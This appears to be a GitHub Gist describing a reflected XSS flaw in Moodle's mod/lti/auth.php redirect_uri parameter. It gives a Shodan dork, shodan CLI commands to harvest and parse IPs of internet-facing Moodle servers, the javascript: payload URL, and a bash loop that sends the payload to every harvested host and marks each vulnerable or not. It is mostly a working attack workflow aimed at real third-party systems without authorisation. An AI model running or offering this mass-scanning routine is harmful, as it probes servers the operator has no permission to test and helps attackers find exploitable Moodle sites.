Last active
January 6, 2022 14:38
-
-
Save simrotion13/5182d9c52e7d9abd83c4fa2941ccaccb to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Moodle XSS vulnerability | |
Shodan Dork : 'http.component:Moodle' | |
Vulnerable URL : | |
https://IP/mod/lti/auth.php?redirect_uri=javascript:alert(document.domain) | |
By using below URL we can download the results. ( Shodan Premium API Key is needed ) | |
shodan download moodle http.component:Moodle' | |
I already downloaded the results using shodan cli command | |
We will seperate the IP from shodan results. For this we will use shodan parse command along with awk | |
shodan parse moodle.json.gz --fields ip_str,port --separator " " | awk '{print $1}' | tee -a moodle-ip.txt | |
We will using below process to automate the findings | |
cat moodle-ip.txt | while read host do ; do curl --silent --path-as-is --insecure "https://$host/mod/lti/auth.php?redirect_uri=javascript:alert(document.domain)" | grep -qs 'alert(document.domain)' && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n"; done | |
Similary Check the Vulnerable URL on browser |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment